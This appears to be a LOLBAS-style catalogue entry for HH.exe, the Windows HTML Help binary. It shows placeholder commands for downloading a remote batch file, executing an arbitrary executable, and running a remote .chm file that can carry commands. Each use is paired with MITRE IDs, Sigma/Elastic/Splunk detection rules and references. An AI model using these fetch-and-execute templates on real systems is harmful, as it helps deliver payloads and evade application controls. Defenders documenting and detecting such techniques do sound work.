Hh.exe

Open the target batch script with HTML Help.

Use Download files from url

HH.exe {REMOTEURL:.bat}

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Download

MITRE

T1105

Detection

Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_hh_chm_execution.yml

Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_hh_html_help_susp_child_process.yml

Elastic: github.com/elastic/detection-rules/blob/ef7548f04c4341e0d1a172810330d59453f46a21/rules/windows/execution_via_compiled_html_file.toml

Elastic: github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/execution_html_help_executable_program_connecting_to_the_internet.toml

Splunk: github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_html_help_spawn_child_process.yml

Splunk: github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_html_help_url_in_command_line.yml

Refs

oddvar.moe/2017/08/13/bypassing-device-guard-umci-using-chm-cve-2017-8625/

lolbas-project.github.io/lolbas/Binaries/Hh/

Executes specified executable with HTML Help.

Use Execute process with HH.exe

HH.exe {PATH_ABSOLUTE:.exe}

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Execute

MITRE

T1218.001

Detection

Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_hh_chm_execution.yml

Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_hh_html_help_susp_child_process.yml

Elastic: github.com/elastic/detection-rules/blob/ef7548f04c4341e0d1a172810330d59453f46a21/rules/windows/execution_via_compiled_html_file.toml

Elastic: github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/execution_html_help_executable_program_connecting_to_the_internet.toml

Splunk: github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_html_help_spawn_child_process.yml

Splunk: github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_html_help_url_in_command_line.yml

Refs

oddvar.moe/2017/08/13/bypassing-device-guard-umci-using-chm-cve-2017-8625/

lolbas-project.github.io/lolbas/Binaries/Hh/

Executes a remote .chm file which can contain commands.

Use Execute commands with HH.exe

HH.exe {REMOTEURL:.chm}

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Execute

MITRE

T1218.001

Detection

Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_hh_chm_execution.yml

Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_hh_html_help_susp_child_process.yml

Elastic: github.com/elastic/detection-rules/blob/ef7548f04c4341e0d1a172810330d59453f46a21/rules/windows/execution_via_compiled_html_file.toml

Elastic: github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/execution_html_help_executable_program_connecting_to_the_internet.toml

Splunk: github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_html_help_spawn_child_process.yml

Splunk: github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/detect_html_help_url_in_command_line.yml

Refs

oddvar.moe/2017/08/13/bypassing-device-guard-umci-using-chm-cve-2017-8625/

lolbas-project.github.io/lolbas/Binaries/Hh/